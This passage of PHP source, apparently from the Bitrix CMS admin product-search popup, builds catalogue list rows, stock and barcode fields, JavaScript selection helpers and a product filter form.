					"DIMENSIONS" => "Y",
					"IMAGE_POPUP" => "Y",
					"MAX_SIZE" => $maxImageSize,
					"MIN_SIZE" => $minImageSize,
				), array(
					'upload' => false,
					'medialib' => false,
					'file_dialog' => false,
					'cloud' => false,
					'del' => false,
					'description' => false,
				)));
				$row->AddViewField("DETAIL_PICTURE", CFileInput::Show('NO_FIELDS['.$arItems['ID'].'][DETAIL_PICTURE]', $arItems['DETAIL_PICTURE'], array(
					"IMAGE" => "Y",
					"PATH" => "Y",
					"FILE_SIZE" => "Y",
					"DIMENSIONS" => "Y",
					"IMAGE_POPUP" => "Y",
					"MAX_SIZE" => $maxImageSize,
					"MIN_SIZE" => $minImageSize,
				), array(
					'upload' => false,
					'medialib' => false,
					'file_dialog' => false,
					'cloud' => false,
					'del' => false,
					'description' => false,
				)));
				$arProperties = array();
				if(!empty($arSelectedProps))
				{
					$rsProperties = CIBlockElement::GetProperty($iblockId, $arItems["ID"]);
					while($ar = $rsProperties->Fetch())
					{
						if(!array_key_exists($ar["ID"], $arProperties))
							$arProperties[$ar["ID"]] = array();
						if($ar["PROPERTY_TYPE"] === "L")
							$arProperties[$ar["ID"]][$ar["PROPERTY_VALUE_ID"]] = $ar["VALUE_ENUM"];
						else
							$arProperties[$ar["ID"]][$ar["PROPERTY_VALUE_ID"]] = $ar["VALUE"];
					}
				}
				foreach($arSelectedProps as $aProp)
				{
					$v = '';
					foreach($arProperties[$aProp['ID']] as $property_value_id => $property_value)
					{
						$res = '';
						if($aProp['PROPERTY_TYPE'] == 'F')
							$res = CFileInput::Show('NO_FIELDS['.$property_value_id.']', $property_value, array(
									"IMAGE" => "Y",
									"PATH" => "Y",
									"FILE_SIZE" => "Y",
									"DIMENSIONS" => "Y",
									"IMAGE_POPUP" => "Y",
									"MAX_SIZE" => $maxImageSize,
									"MIN_SIZE" => $minImageSize,
								), array(
									'upload' => false,
									'medialib' => false,
									'file_dialog' => false,
									'cloud' => false,
									'del' => false,
									'description' => false,
								)
							);
						elseif($aProp['PROPERTY_TYPE'] == 'G')
						{
							$t = GetSectionName($property_value);
							if($t)
								$res = $t['NAME'].' [<a href="'.htmlspecialcharsbx(CIBlock::GetAdminSectionEditLink($t['IBLOCK_ID'], $t['ID'])).'" title="'.GetMessage("SPS_ELSEARCH_SECTION_EDIT").'">'.$t['ID'].'</a>]';
						}
						elseif($aProp['PROPERTY_TYPE'] == 'E')
						{
							$t = GetElementName($property_value);
							if($t)
							{
								$res = $t['NAME'].' [<a href="'.htmlspecialcharsbx(CIBlock::GetAdminElementEditLink($t['IBLOCK_ID'], $t['ID'])).'" title="'.GetMessage("SPS_ELSEARCH_ELEMENT_EDIT").'">'.$t['ID'].'</a>]';
							}
						}
						else
						{
							$res = htmlspecialcharsex($property_value);
						}

						if($res != "")
							$v .= ($v!=''?' / ':'').$res;
					}

					if($v != "")
						$row->AddViewField("PROPERTY_".$aProp['ID'], $v);
					unset($arSelectedProps[$aProp['ID']]["CACHE"]);
				}
			}
		}
		else
		{
			$fieldValue = "";
			$nearestQuantity = $QUANTITY;
			$amountToStore = 0;
			if($storeFromId > 0)
			{
				$dbStoreProduct = CCatalogStoreProduct::GetList(array(), array("PRODUCT_ID" => $arItems["ID"], "STORE_ID" => $storeFromId));
				if($arStoreProduct = $dbStoreProduct->Fetch())
				{
					$amountToStore = $arStoreProduct["AMOUNT"];
				}
			}

			$arCatalogProduct["BARCODE"] = '';
			if($arCatalogProduct["BARCODE_MULTI"] == 'N')
			{
				$dbBarCodes = CCatalogStoreBarCode::getList(array(), array("PRODUCT_ID" => $arItems["ID"]));
				while($arBarCode = $dbBarCodes->Fetch())
				{
					$arCatalogProduct["BARCODE"][] = $arBarCode["BARCODE"];
				}
			}

			if(is_array($arCatalogProduct["BARCODE"]))
				$arCatalogProduct["BARCODE"] = implode(', ', $arCatalogProduct["BARCODE"]);

			$balance = ($storeFromId > 0) ? FloatVal($arCatalogProduct["QUANTITY"])." / ".FloatVal($amountToStore) : FloatVal($arCatalogProduct["QUANTITY"]);
			$row->AddField("BALANCE", $balance);
			$row->AddViewField("PREVIEW_PICTURE", CFileInput::Show('NO_FIELDS['.$arItems['ID'].'][PREVIEW_PICTURE]', $arItems['PREVIEW_PICTURE'], array(
				"IMAGE" => "Y",
				"PATH" => "Y",
				"FILE_SIZE" => "Y",
				"DIMENSIONS" => "Y",
				"IMAGE_POPUP" => "Y",
				"MAX_SIZE" => $maxImageSize,
				"MIN_SIZE" => $minImageSize,
			), array(
				'upload' => false,
				'medialib' => false,
				'file_dialog' => false,
				'cloud' => false,
				'del' => false,
				'description' => false,
			)));
			$row->AddViewField("DETAIL_PICTURE", CFileInput::Show('NO_FIELDS['.$arItems['ID'].'][DETAIL_PICTURE]', $arItems['DETAIL_PICTURE'], array(
				"IMAGE" => "Y",
				"PATH" => "Y",
				"FILE_SIZE" => "Y",
				"DIMENSIONS" => "Y",
				"IMAGE_POPUP" => "Y",
				"MAX_SIZE" => $maxImageSize,
				"MIN_SIZE" => $minImageSize,
			), array(
				'upload' => false,
				'medialib' => false,
				'file_dialog' => false,
				'cloud' => false,
				'del' => false,
				'description' => false,
			)));
			$bCanBuy = true;
			if($arCatalogProduct["CAN_BUY_ZERO"] != "Y" && ($arCatalogProduct["QUANTITY_TRACE"] == "Y" && doubleval($arCatalogProduct["QUANTITY"]) <= 0))
				$bCanBuy = false;
			if($addDefault == "Y" || ($bCanBuy && $addDefault == "N"))
			{
				$arParams = array(
					'id' => $arItems["ID"],
					'quantity' => $QUANTITY,
					'type' => $arCatalogProduct["TYPE"],
					'barcode' => $arCatalogProduct["BARCODE"],
					'name' => $arItems['NAME']
				);

				if ($boolSubscribe)
				{
					$arParams['url'] = $arItems['DETAIL_PAGE_URL'];
				}

				$arParams = CUtil::PhpToJSObject($arParams);

				foreach(GetModuleEvents("sale", "OnProductSearchForm", true) as $arEvent)
				{
					$arParams = ExecuteModuleEventEx($arEvent, Array($arItems["ID"], $arParams));
				}

				$arParams = "var el".$arItems["ID"]." = ".$arParams;

				$act = '<script type="text/javascript">'.$arParams.'</script><input class="addBtn" type="button" onClick="SelEl(el'.$arItems["ID"].', '.$arItems["ID"].')" name="btn_select_'.$arItems["ID"].'" id="btn_select_'.$arItems["ID"].'" value="'.GetMessage("SPS_SELECT").'">';
				$countField = '<input type="text" name="quantity_'.$arItems["ID"].'" id="quantity_'.$arItems["ID"].'" value="1" size="3">';
			}
			else
			{
				$act = GetMessage("SPS_CAN_BUY_NOT_PRODUCT");
				$countField = "&nbsp;";
			}
			$active = ($arItems["ACTIVE"] == 'Y' ? GetMEssage('SPS_PRODUCT_ACTIVE') : GetMEssage('SPS_PRODUCT_NO_ACTIVE'));
			$row->AddField("ACT", $act);
			$row->AddField("QUANTITY", $countField);
			$row->AddField("ACTIVE", $active);

			$arProperties = array();
			if(!empty($arSelectedProps))
			{
				$rsProperties = CIBlockElement::GetProperty($iblockId, $arItems["ID"]);
				while($ar = $rsProperties->Fetch())
				{
					if(!array_key_exists($ar["ID"], $arProperties))
						$arProperties[$ar["ID"]] = array();
					if($ar["PROPERTY_TYPE"] === "L")
						$arProperties[$ar["ID"]][$ar["PROPERTY_VALUE_ID"]] = $ar["VALUE_ENUM"];
					else
						$arProperties[$ar["ID"]][$ar["PROPERTY_VALUE_ID"]] = $ar["VALUE"];
				}
			}
			foreach($arSelectedProps as $aProp)
			{
				$v = '';
				foreach($arProperties[$aProp['ID']] as $property_value_id => $property_value)
				{
					$res = '';
					if($aProp['PROPERTY_TYPE'] == 'F')
						$res = CFileInput::Show('NO_FIELDS['.$property_value_id.']', $property_value, array(
								"IMAGE" => "Y",
								"PATH" => "Y",
								"FILE_SIZE" => "Y",
								"DIMENSIONS" => "Y",
								"IMAGE_POPUP" => "Y",
								"MAX_SIZE" => $maxImageSize,
								"MIN_SIZE" => $minImageSize,
							), array(
								'upload' => false,
								'medialib' => false,
								'file_dialog' => false,
								'cloud' => false,
								'del' => false,
								'description' => false,
							)
						);
					elseif($aProp['PROPERTY_TYPE'] == 'G')
					{
						$t = GetSectionName($property_value);
						if($t)
							$res = $t['NAME'].' [<a href="'.htmlspecialcharsbx(CIBlock::GetAdminSectionEditLink($t['IBLOCK_ID'], $t['ID'])).'" title="'.GetMessage("SPS_ELSEARCH_SECTION_EDIT").'">'.$t['ID'].'</a>]';
					}
					elseif($aProp['PROPERTY_TYPE'] == 'E')
					{
						$t = GetElementName($property_value);
						if($t)
						{
							$res = $t['NAME'].' [<a href="'.htmlspecialcharsbx(CIBlock::GetAdminElementEditLink($t['IBLOCK_ID'], $t['ID'])).'" title="'.GetMessage("SPS_ELSEARCH_ELEMENT_EDIT").'">'.$t['ID'].'</a>]';
						}
					}
					else
					{
						$res = htmlspecialcharsex($property_value);
					}

					if($res != "")
						$v .= ($v!=''?' / ':'').$res;
				}

				if($v != "")
					$row->AddViewField("PROPERTY_".$aProp['ID'], $v);
				unset($arSelectedProps[$aProp['ID']]["CACHE"]);
			}
			foreach($arPrices as $price)
			{
				$row->AddViewField("PRICE".$price['ID'], $arPricesResult[$price['ID']][$arItems["ID"]]);
			}
		}
	}

	CCatalogDiscountSave::Enable();

	$lAdmin->BeginEpilogContent();

	?>
	<script type="text/javascript">
	<?if(!empty($arSku))
	{
		foreach($arSku as $k => $v)
		{
			?>
			if(BX('sku-<?=$v?>'))
				BX.hide(BX('sku-<?=$v?>').parentNode.parentNode);
			<?
		}
	}
	?>
	</script>
	<?
	$lAdmin->EndEpilogContent();
}
else
{
	ShowError(GetMessage("SPS_NO_PERMS").".");
}
$lAdmin->AddAdminContextMenu(array());

$lAdmin->CheckListMode();


/****************************************************************************/
/***********  MAIN PAGE  ****************************************************/
/****************************************************************************/

$APPLICATION->SetTitle(GetMessage("SPS_SEARCH_TITLE"));
CJSCore::Init(array('admin_interface'));
$APPLICATION->AddHeadScript('/bitrix/js/main/dd.js');
require($_SERVER["DOCUMENT_ROOT"]."/bitrix/modules/main/include/prolog_popup_admin.php");
?>
<script type="text/javascript">
BX.InitializeAdmin();
</script>
<script type="text/javascript">
function SelEl(arParams, el)
{
	var count = 1, i;
	if(BX('quantity_'+el))
		count = BX('quantity_'+el).value;

	arParams['quantity'] = count;

	window.opener.<?= $func_name ?>(<?= intval($index) ?>, arParams, <?= intval($iblockId) ?>);
	BX('btn_select_'+el).value ='<?=GetMessageJS("SPS_PRODUCT_SELECTED")?>';
	var formId = BX('sessid').parentNode.id;
	var allButtons = BX(formId).querySelectorAll('.adm-list-table-cell input.addBtn');
	if (!!allButtons)
	{
		for (i = 0; i < allButtons.length; i++)
		{
			allButtons[i].disabled = true;
		}
		setTimeout(function(){
			for (i = 0; i < allButtons.length; i++)
			{
				allButtons[i].disabled = false;
			}
		}, 2000);
	}
}

function showCanBuy()
{
	alert('<?=GetMessageJS("SPS_CAN_BUY_NOT")?>');
}

function fShowSku(el, sku)
{
	for(var i in sku)
	{
		if(sku.hasOwnProperty(i) && BX('sku-'+sku[i]['ID']))
		{
			if(BX('sku-'+sku[i]['ID']).parentNode.parentNode.style.display == "none")
			{
				BX.addClass(BX('sku-'+sku[i]['ID']).parentNode.parentNode, "border_sku");

				BX.show(BX('sku-'+sku[i]['ID']).parentNode.parentNode);
				BX(el).value = '<?=GetMessageJS("SPS_SKU_HIDE")?>';
			}
			else
			{
				BX.removeClass(BX('sku-'+sku[i]['ID']).parentNode.parentNode, "border_sku");
				BX.hide(BX('sku-'+sku[i]['ID']).parentNode.parentNode);
				BX(el).value = '<?=GetMessageJS("SPS_SKU_SHOW")?>';
			}
		}
	}
}

function checkParameters(f)
{
	var deleteEmptyInputs = f.querySelectorAll('div.adm-filter-box-sizing input, select'),
		i;
	if (!!deleteEmptyInputs)
	{
		for (i = 0; i < deleteEmptyInputs.length; i++)
		{
			if (deleteEmptyInputs[i].value == '')
			{
				deleteEmptyInputs[i].parentNode.removeChild(deleteEmptyInputs[i]);
			}
		}
	}
	if(BX('filter_lid_span'))
		BX('filter_lid_span').parentNode.removeChild(BX('filter_lid_span'));
	f.submit();
}

</script>

<table width="100%">
<tr>
<td valign="top" align="left" width="240">
	<div style="overflow-x: auto;max-width:220px;">
	<?
/*
* @param $arCatalog
* @param $urlCurrent
* @return mixed
*/
function fReplaceUrl($arCatalog, $urlCurrent)
			{
				$urlCurrentDefault = $urlCurrent;

				foreach($arCatalog as $key => $submenu)
				{
					$arUrlAdd = array("set_filter" => "Y");

					$url = $submenu["url"];
					$urlParse = parse_url($url);
					$arUrlTag = explode("&", $urlParse["query"]);

					foreach($arUrlTag as $tag)
					{
						$tmp = explode("=", $tag);
						if($tmp[0] == "IBLOCK_ID" || $tmp[0] == "find_section_section")
						{
							if($tmp[0] == "find_section_section")
								$tmp[0] = "filter_section";

							$urlCurrent = CHTTP::urlDeleteParams($urlCurrent, array($tmp[0]));
							$arUrlAdd[$tmp[0]] = $tmp[1];
						}
					}

					$url = CHTTP::urlAddParams($urlCurrent, $arUrlAdd, array("encode","skip_empty"));
					$arCatalog[$key]["url"] = $url;

					if(isset($submenu["items"]) && count($submenu["items"]) > 0)
					{
						$subCatal = fReplaceUrl($submenu["items"], $urlCurrentDefault);
						$arCatalog[$key]["items"] = $subCatal;
					}
				}

				return $arCatalog;
			}

$urlCurrent = $APPLICATION->GetCurPageParam();
$arCatalog = CCatalogAdmin::get_sections_menu('', $iblockId, 2, 0);

$arCatalog = fReplaceUrl($arCatalog, $urlCurrent);

foreach($arCatalog as $submenu)
{
	$adminMenu->_SetActiveItems($submenu, array());
	$adminMenu->Show($submenu, 0, $urlCurrent);
}
?>
	</div>
</td>
<td valign="top" align="left" style="border-left: 1px solid rgb(164, 185, 204);padding-left:15px;">
	<form name="find_form" method="GET" onsubmit="checkParameters(this); return false;" action="<?echo $APPLICATION->GetCurPage()?>?" accept-charset="<? echo LANG_CHARSET; ?>">
		<input type="hidden" name="__BX_CRM_QUERY_STRING_PREFIX" value="<?echo $APPLICATION->GetCurPage() ?>?">
		<input type="hidden" name="field_name" value="<?echo htmlspecialcharsbx($field_name)?>">
		<input type="hidden" name="field_name_name" value="<?echo htmlspecialcharsbx($field_name_name)?>">
		<input type="hidden" name="field_name_url" value="<?echo htmlspecialcharsbx($field_name_url)?>">
		<input type="hidden" name="alt_name" value="<?echo htmlspecialcharsbx($alt_name)?>">
		<input type="hidden" name="form_name" value="<?echo htmlspecialcharsbx($form_name)?>">
		<input type="hidden" name="func_name" value="<?echo htmlspecialcharsbx($func_name)?>">
		<input type="hidden" name="index" value="<?echo htmlspecialcharsbx($index)?>">
		<input type="hidden" name="BUYER_ID" value="<?echo htmlspecialcharsbx($buyerId)?>">
		<input type="hidden" name="QUANTITY" value="<?echo htmlspecialcharsbx($QUANTITY)?>">
		<input type="hidden" name="lang" value="<?echo LANGUAGE_ID?>">
		<input type="hidden" id="LID" name="LID" value="<?echo htmlspecialcharsbx($lid)?>">
		<input type="hidden" id="caller" name="caller" value="<?echo htmlspecialcharsbx($caller)?>">
		<input type="hidden" name="subscribe" value="<? echo ($boolSubscribe ? 'Y' : 'N'); ?>">
<?
	if ($orderForm)
	{
		?><input type="hidden" name="from" value="order"><?
	}
	$arFindFields = array(
		"find_iblock_id" => GetMessage("SPS_CATALOG"),
		"find_id" => "ID (".GetMessage("SPS_ID_FROM_TO").")",
		"find_xml_id" => GetMessage("SPS_XML_ID"),
		"find_code" => GetMessage("SPS_CODE"),
		"find_time" => GetMessage("SPS_TIMESTAMP")
	);
	if (!$orderForm)
	{
		$arFindFields["find_active"] = GetMessage("SPS_ACTIVE");
	}
	$arFindFields["find_name"] = GetMessage("SPS_NAME");
	$arFindFields["find_descr"] = GetMessage("SPS_DESCR");

	if (!empty($arProps))
	{
		foreach($arProps as $arProp)
			$arFindFields["find_prop_".$arProp["ID"]] = $arProp["NAME"];
	}

	if (!empty($arSKUProps))
	{
		foreach($arSKUProps as $arProp)
		{
			if($arProp["FILTRABLE"]=="Y" && $arProp["PROPERTY_TYPE"] != "F")
				$arFindFields["IBLIST_A_SUB_PROP_".$arProp["ID"]] = $arProp["NAME"];
		}
	}
	$oFilter = new CAdminFilter(
		$sTableID."_filter",
		$arFindFields
	);
	$oFilter->SetDefaultRows("find_iblock_id");

	$oFilter->Begin();
	?>
<tr>
	<td><?= GetMessage("SPS_CATALOG") ?>:</td>
	<td>
		<select name="IBLOCK_ID" onchange="BX('LID').value = BX('LID_'+this.value).value">
		<?
	$strShowOffersIBlock = COption::GetOptionString('catalog', 'product_form_show_offers_iblock');
	$catalogID = $arLid = array();
	$arCatalogFilter = array();
	if ($boolSubscribe)
	$arCatalogFilter['SUBSCRIPTION'] = 'Y';
	$dbItem = CCatalog::GetList(
	array(),
	$arCatalogFilter,
	false,
	false,
	array('IBLOCK_ID', 'PRODUCT_IBLOCK_ID', 'SKU_PROPERTY_ID', 'SUBSCRIPTION')
	);
	while($arItems = $dbItem->Fetch())
	{
	$arItems['IBLOCK_ID'] = intval($arItems['IBLOCK_ID']);
	$arItems['PRODUCT_IBLOCK_ID'] = intval($arItems['PRODUCT_IBLOCK_ID']);
	if ('N' == $arItems['SUBSCRIPTION'] && 0 < $arItems['PRODUCT_IBLOCK_ID'])
	{
		$catalogID[$arItems['PRODUCT_IBLOCK_ID']] = true;
		if ('Y' == $strShowOffersIBlock)
		{
			$catalogID[$arItems['IBLOCK_ID']] = true;
		}
	}
	else
	{
		$catalogID[$arItems['IBLOCK_ID']] = true;
	}
	}
	$db_iblocks = CIBlock::GetList(
	array("ID" => "ASC"),
	array("ID" => array_keys($catalogID), 'ACTIVE' => 'Y'),
	false
	);
	while($db_iblocks->ExtractFields("str_iblock_"))
	{
	$arLid[$str_iblock_ID] = $str_iblock_LID;
	?><option value="<?=$str_iblock_ID?>"<?if($iblockId==$str_iblock_ID)echo " selected"?>><?=$str_iblock_NAME?> [<?=$str_iblock_LID?>] (<?=$str_iblock_ID?>)</option><?
	}
?>
	</select>
	<div id="filter_lid_span">
	<?
	foreach($arLid as $iblock => $lidId)
	{
		?><input type="hidden" id="LID_<?=$iblock?>" name="LID_<?=$iblock?>" value="<?echo $lidId?>"><?
	}
?>
	</div>
	</td>
</tr>
<tr>
	<td>ID (<?= GetMessage("SPS_ID_FROM_TO") ?>):</td>
	<td>
		<input type="text" name="filter_id_start" size="10" value="<?echo htmlspecialcharsex($_REQUEST['filter_id_start'])?>">
		...
		<input type="text" name="filter_id_end" size="10" value="<?echo htmlspecialcharsex($_REQUEST['filter_id_end'])?>">
	</td>
</tr>
<tr>
	<td nowrap><?= GetMessage("SPS_XML_ID") ?>:</td>
	<td nowrap>
		<input type="text" name="filter_xml_id" size="50" value="<?echo htmlspecialcharsex(${"filter_xml_id"})?>">
	</td>
</tr>

<tr>
	<td nowrap><?= GetMessage("SPS_CODE") ?>:</td>
	<td nowrap>
		<input type="text" name="filter_code" size="50" value="<?echo htmlspecialcharsex(${"filter_code"})?>">
	</td>
</tr>
<tr>
	<td nowrap><?= GetMessage("SPS_TIMESTAMP") ?>:</td>
	<td nowrap><? echo CalendarPeriod("filter_timestamp_from", htmlspecialcharsex($_REQUEST['filter_timestamp_from']), "filter_timestamp_to", htmlspecialcharsex($_REQUEST['filter_timestamp_to']), "form1")?></td>
</tr>
<?
	if (!$orderForm)
	{
?>
<tr>
	<td nowrap><?= GetMessage("SPS_ACTIVE") ?>:</td>
	<td nowrap>
		<select name="filter_active">
			<option value=""><?=htmlspecialcharsex("(".GetMessage("SPS_ANY").")")?></option>
			<option value="Y"<?if($_REQUEST['filter_active']=="Y")echo " selected"?>><?=htmlspecialcharsex(GetMessage("SPS_YES"))?></option>
			<option value="N"<?if($_REQUEST['filter_active']=="N")echo " selected"?>><?=htmlspecialcharsex(GetMessage("SPS_NO"))?></option>
		</select>
	</td>
</tr>
<?
	}
?>
				<tr>
					<td nowrap><?= GetMessage("SPS_NAME") ?>:</td>
					<td nowrap>
						<input type="text" name="filter_product_name" value="<?echo htmlspecialcharsex($_REQUEST['filter_product_name'])?>" size="30">
					</td>
				</tr>
				<tr>
					<td nowrap><?= GetMessage("SPS_DESCR") ?>:</td>
					<td nowrap>
						<input type="text" name="filter_intext" size="50" value="<?echo htmlspecialcharsex(${"filter_intext"})?>" size="30">&nbsp;<?=ShowFilterLogicHelp()?>
					</td>
				</tr>

			<?if(!empty($arProps)):
				foreach($arProps as $arProp):
				?>
				<tr>
					<td><?=$arProp["NAME"]?>:</td>
					<td>
						<?if(array_key_exists("GetAdminFilterHTML", $arProp["PROPERTY_USER_TYPE"])):
							echo "<script type='text/javascript'>var arClearHiddenFields = [];</script>";
							echo call_user_func_array($arProp["PROPERTY_USER_TYPE"]["GetAdminFilterHTML"], array(
								$arProp,
								array("VALUE" => "filter_el_property_".$arProp["ID"]),
							));
						elseif($arProp["PROPERTY_TYPE"] == 'S'):?>
							<input type="text" name="filter_el_property_<?=$arProp["ID"]?>" value="<?echo htmlspecialcharsex(${"filter_el_property_".$arProp["ID"]})?>" size="30">&nbsp;<?=ShowFilterLogicHelp()?>
						<?elseif($arProp["PROPERTY_TYPE"] == 'N' || $arProp["PROPERTY_TYPE"] == 'E'):?>
							<input type="text" name="filter_el_property_<?=$arProp["ID"]?>" value="<?echo htmlspecialcharsex(${"filter_el_property_".$arProp["ID"]})?>" size="30">
						<?elseif($arProp["PROPERTY_TYPE"] == 'L'):?>
							<select name="filter_el_property_<?=$arProp["ID"]?>">
								<option value=""><?echo GetMessage("SPS_VALUE_ANY")?></option>
								<option value="NOT_REF"><?echo GetMessage("SPS_A_PROP_NOT_SET")?></option><?
								$dbrPEnum = CIBlockPropertyEnum::GetList(Array("SORT" => "ASC", "NAME" => "ASC"), Array("PROPERTY_ID" => $arProp["ID"]));
								while($arPEnum = $dbrPEnum->GetNext()):
								?>
									<option value="<?=$arPEnum["ID"]?>"<?if(${"filter_el_property_".$arProp["ID"]} == $arPEnum["ID"])echo " selected"?>><?=$arPEnum["VALUE"]?></option>
								<?
								endwhile;
						?></select>
						<?
						elseif($arProp["PROPERTY_TYPE"] == 'G'):
							echo _ShowGroupPropertyFieldList('filter_el_property_'.$arProp["ID"], $arProp, ${'filter_el_property_'.$arProp["ID"]});
						endif;
						?>
					</td>
				</tr>
				<?endforeach;
			endif;

			if(!empty($arSKUProps)):
				foreach($arSKUProps as $arProp)
				{
					if($arProp["FILTRABLE"]=="Y" && $arProp["PROPERTY_TYPE"] != "F" && $arCatalog['SKU_PROPERTY_ID'] != $arProp['ID'])
					{
						?>
						<tr>
							<td><? echo ('' != $strSKUName ? $strSKUName.' - ' : ''); ?><? echo $arProp["NAME"]?>:</td>
							<td>
								<?if(array_key_exists("GetAdminFilterHTML", $arProp["PROPERTY_USER_TYPE"])):
									echo "<script type='text/javascript'>var arClearHiddenFields = [];</script>";
									echo call_user_func_array($arProp["PROPERTY_USER_TYPE"]["GetAdminFilterHTML"], array(
										$arProp,
										array("VALUE" => "find_sub_el_property_".$arProp["ID"]),
									));
								elseif($arProp["PROPERTY_TYPE"] == 'S'):?>
									<input type="text" name="filter_sub_el_property_<?=$arProp["ID"]?>" value="<?echo htmlspecialcharsex(${"filter_sub_el_property_".$arProp["ID"]})?>" size="30">&nbsp;<?=ShowFilterLogicHelp()?>
								<?elseif($arProp["PROPERTY_TYPE"] == 'N' || $arProp["PROPERTY_TYPE"] == 'E'):?>
									<input type="text" name="filter_sub_el_property_<?=$arProp["ID"]?>" value="<?echo htmlspecialcharsex(${"filter_sub_el_property_".$arProp["ID"]})?>" size="30">
								<?elseif($arProp["PROPERTY_TYPE"] == 'L'):?>
									<select name="filter_sub_el_property_<?=$arProp["ID"]?>">
										<option value=""><?echo GetMessage("SPS_VALUE_ANY")?></option>
										<option value="NOT_REF"><?echo GetMessage("SPS_A_PROP_NOT_SET")?></option><?
										$dbrPEnum = CIBlockPropertyEnum::GetList(Array("SORT" => "ASC", "NAME" => "ASC"), Array("PROPERTY_ID" => $arProp["ID"]));
										while($arPEnum = $dbrPEnum->GetNext()):
										?>
											<option value="<?=$arPEnum["ID"]?>"<?if(${"filter_sub_el_property_".$arProp["ID"]} == $arPEnum["ID"])echo " selected"?>><?=$arPEnum["VALUE"]?></option>
										<?
										endwhile;
								?></select>
								<?
								elseif($arProp["PROPERTY_TYPE"] == 'G'):
									echo _ShowGroupPropertyFieldList('filter_sub_el_property_'.$arProp["ID"], $arProp, ${'filter_sub_el_property_'.$arProp["ID"]});
								endif;
								?>
							</td>
						</tr>
						<?
					}
				}
			endif;

			$oFilter->Buttons();
			?>
			<input type="submit" name="set_filter" value="<?echo GetMessage("prod_search_find")?>" title="<?echo GetMessage("prod_search_find_title")?>">
			<input type="submit" name="del_filter" value="<?echo GetMessage("prod_search_cancel")?>" title="<?echo GetMessage("prod_search_cancel_title")?>">
			<?
			$oFilter->End();
			?>
		</form>
		<?
		$lAdmin->DisplayList();
		if(isset($_REQUEST["set_filter"]) && $_REQUEST["set_filter"] === 'Y')
		{
			if(isset($_REQUEST["IBLOCK_ID"]))
			{
				CUserOptions::SetOption("catalog", "product_search_".$caller, "&IBLOCK_ID=".intval($_REQUEST["IBLOCK_ID"])."&filter_section=".intval($_REQUEST["filter_section"]), false, $buyerId);
			}
		}
		?>
		<br>
		<input type="button" class="typebutton" value="<?= GetMessage("SPS_CLOSE") ?>" onClick="window.close();">
	</td>
</tr>
</table>
<?require($_SERVER["DOCUMENT_ROOT"]."/bitrix/modules/main/include/epilog_popup_admin.php");?>